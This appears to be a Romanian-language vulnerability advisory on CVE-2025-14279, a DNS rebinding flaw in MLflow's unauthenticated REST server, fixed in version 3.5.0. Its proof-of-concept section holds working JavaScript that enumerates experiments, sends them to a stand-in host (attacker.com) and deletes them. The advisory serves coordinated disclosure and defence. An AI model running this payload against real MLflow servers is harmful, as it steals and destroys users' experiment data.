Exfiltrare și distrugere de date în MLflow prin lipsa validării Origin (DNS rebinding)
Autor: Evan Harris
Risc: Ridicat (CVSS 8.1, CVE-2025-14279)
Componentă afectată: serverul REST al MLflow (mlflow/mlflow), versiunile până la și inclusiv 3.4.0
TL;DR
Serverul REST al MLflow nu valida antetul Origin sau Host din cererile primite, lăsându-l expus la DNS rebinding. O victimă care rulează mlflow server local și apoi vizitează un site malițios poate avea browserul transformat într-un proxy care ajunge la interfața loopback, ocolind politica Same-Origin. Fără autentificare pe API-ul REST, atacatorul obține acces complet de citire și scriere: poate enumera experimente, exfiltra datele către o gazdă externă și șterge experimente pur și simplu. Problemei i-a fost atribuit CVE-2025-14279 (CVSS 8.1, Ridicat) și a fost remediată în MLflow 3.5.0, care adaugă validarea antetului Host și blocarea cererilor cross-origin. Utilizatorii ar trebui să facă upgrade la 3.5.0 sau o versiune ulterioară.
Context
Serverul de urmărire al MLflow expune un API REST (de obicei pe http://localhost:5000) pe care interfața web și bibliotecile client îl folosesc pentru a crea, căuta, actualiza și șterge experimente și rulări. În mod implicit, serverul rulează fără autentificare, pornind de la presupunerea că legarea la localhost îl păstrează privat.
Această presupunere se destramă sub DNS rebinding. Politica Same-Origin a browserului ar trebui să împiedice o pagină servită de pe attacker.com să citească răspunsuri de la localhost:5000, dar rebinding-ul o ocolește schimbând ceea ce rezolvă un nume de gazdă după ce pagina a fost încărcată. Deoarece serverul MLflow accepta cereri fără a verifica de unde proveneau, orice site pe care victima îl vizita putea controla API-ul local.
Prezentare generală
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Scenariu de atac
- Victima clonează MLflow și rulează serverul local cu configurația implicită (
mlflow server), generând câteva experimente pe parcurs. - Atacatorul ridică un laborator de DNS rebinding, de exemplu Singularity of Origin de la NCC Group, și plasează payload-ul de mai jos în directorul de payload-uri al framework-ului.
- Victima vizitează site-ul atacatorului și rămâne pe pagină suficient de mult (sub un minut) pentru ca rebinding-ul să aibă loc.
- Serverul DNS al atacatorului rezolvă mai întâi numele de gazdă către propriul IP pentru ca payload-ul să se încarce, apoi răspunde la interogările ulterioare cu
127.0.0.1. Browserul reutilizează numele memorat în cache, astfel încât apelurilefetchale paginii pivotează silențios cătrelocalhost:5000păstrând originea inițială. - Deoarece serverul MLflow nu efectuează nicio validare Origin sau Host, cererile reușesc. Atacatorul enumeră experimentele, trimite datele către
attacker.comși șterge experimentele.
Demonstrație a conceptului
Payload-ul de mai jos se înregistrează cu un framework de DNS rebinding. Amprentează ținta ca server MLflow, enumeră experimentele prin API-ul REST neautentificat, exfiltrează rezultatele către o gazdă controlată de atacator și apoi șterge fiecare experiment. Demonstrația conceptului originală este condensată aici la pașii ei funcționali.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Impact
- Exfiltrare de date: metadatele experimentelor sunt citite prin
experiments/searchși trimise către o gazdă controlată de atacator. - Distrugere de date: experimentele sunt șterse prin
experiments/delete. - Manipulare de date: același acces de scriere neautentificat permite operațiuni de actualizare asupra experimentelor.
- Nu sunt necesare credențiale: atacul funcționează împotriva unei implementări implicite
mlflow server, necesitând doar ca victima să viziteze o pagină malițioasă în timp ce serverul rulează.
Răspunsul MLflow
După ce am divulgat problema prin procesul de divulgare coordonată al MLflow, mentenanții au abordat-o în pull request-ul #17910.
Remedierea introduce un strat de middleware de securitate pentru server care:
- Validează antetul
Hostfață de o listă de permisiuni (localhost și intervale de IP-uri private în mod implicit) pentru a bloca DNS rebinding. - Blochează cererile cross-origin care modifică starea (POST, PUT, DELETE, PATCH) de la origini non-localhost.
- Adaugă antete de răspuns defensive (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
Este disponibilă o configurație nouă pentru implementările care au nevoie în mod legitim de acces mai larg, inclusiv --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) și --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Protecțiile au fost livrate în MLflow 3.5.0, iar problemei i-a fost atribuit ulterior CVE-2025-14279 (CVSS 8.1, Ridicat; CWE-346, Origin Validation Error).
Recomandări
Pentru utilizatorii finali
- Faceți upgrade la MLflow 3.5.0 sau o versiune ulterioară.
- Păstrați setările implicite
--allowed-hostsși--cors-allowed-originsdacă nu aveți un motiv specific să le lărgiți și nu dezactivați niciodată middleware-ul de securitate pe un server expus. - Nu legați serverul MLflow la o rețea publică sau neîncredere și puneți autentificare sau un reverse proxy în fața lui dacă trebuie să fie accesibil dincolo de localhost.
- Tratați un server legat local ca fiind accesibil din browser: închideți sau izolați instanțele MLflow locale când navigați pe site-uri neîncredere.
Cronologie
| Dată | Eveniment |
|---|---|
| 22 septembrie 2025 | Vulnerabilitate raportată mentenanților MLflow prin divulgare coordonată (issue #17877) |
| 6 octombrie 2025 | MLflow integrează remedierea (PR #17910), lansată în v3.5.0 |
| 12 ianuarie 2026 | CVE-2025-14279 publicat (CVSS 8.1, Ridicat) |
| 8 iunie 2026 | Divulgare publică |